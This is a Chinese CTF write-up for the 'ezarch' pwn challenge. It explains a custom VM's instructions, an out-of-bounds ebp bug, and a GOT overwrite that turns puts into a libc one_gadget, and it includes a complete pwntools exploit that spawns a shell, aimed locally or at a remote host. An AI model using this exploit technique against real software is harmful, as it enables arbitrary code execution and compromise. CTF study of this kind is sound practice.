题目分析

汇编指令结构

其中,

type

0 r0-14

00 r0-14 16 esp 17 ebp

1 立即数

2 [CS+r0-14]

22 [CS+r0-14 16 esp 17 ebp ]

opcode
简称 oprand1寻址方式 oprand2寻址方式
2 sub oprand1 -= oprand2 02 012
3 mov oprand1<–mov–oprand2 0022 00122

一共0x11个指令,但是用这2个居然就能做出题来。

内存结构

mem在0x2030c00x202078处有一个指向mem的指针。其中memory是malloc来的,stack在bss0x2020c0

漏洞分析

进入大循环的时候会检验三个条件:esp<4096,ebp>memorysize,eip>memorysize,但是这个memorysize是可以设置的,所以可以用ebp越界存取数据。

漏洞利用

先把mem->stack movmemory上,再sub 0xc0-0x18 就是freegot表地址0x00202018,再把它movmem->stack,这样mem->stack就在got表上了。

ebp为8,因为free+8puts,这时候free还没被用过,puts被用过。把puts movmemory上,再sub libc['puts']-onegadget,再把它movgot表里,puts就被改成onegadget了。

exp有更详细的分步注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./ezarch')
else:
io = remote("112.126.101.96",9999)
elf = ELF('./ezarch')
#libc=libc('./libc.so')
#gadgets=[324293,324386,1090444]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
gadgets=[283158, 283242, 983716, 987463]

s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)


def memory(size,init,content,eip,esp,ebp):
ru('>')
sl('M')
ru('[*]Memory size>')
sl(size)
ru('[*]Inited size>')
sl(init)
ru('[*]Input Memory Now ')
sl(content)
ru('eip>') #eip<memory size
sl(eip)
ru('esp>') #esp<stack size 0x1000
sl(eip)
ru('ebp>') #ebp<memory size
sl(ebp)

op=lambda opcode,type1,type2,oprand1,oprand2 : bytes.decode(flat(p8(opcode),p8(type1+type2*0x10),p32(oprand1),p32(oprand2)),"unicode-escape")
#mov mem->stack 2 got
c=''
c+=op(3,2,2,1,17) #mov mem->stack+ebp to memory+r1
c+=op(2,2,1,1,0xc0-0x18) #sub memory+r1 0xc0-0x18
c+=op(3,2,2,17,1) #mov memory+r1 to mem->stack+ebp

#change got['puts'] onegadget
c+=op(3,0,1,17,8) #ebp=8
c+=op(3,2,2,1,17) #mov mem->stack+ebp to memory+r1
c+=op(2,2,1,1,libc.symbols['puts']-gadgets[0]) #sub memory+r1 libc.symbols['puts']-gadgets[0]
c+=op(3,2,2,17,1) #mov memory+r1 to mem->stack+ebp
memory(0x2000,len(c),c,0,0x900,0x1008)

#getshell
ru('>')
sl('R')
io.interactive()

END

python3的新特性是bytes和str分家了,一开始好不习惯,用着用着感觉还蛮香的,比2清晰。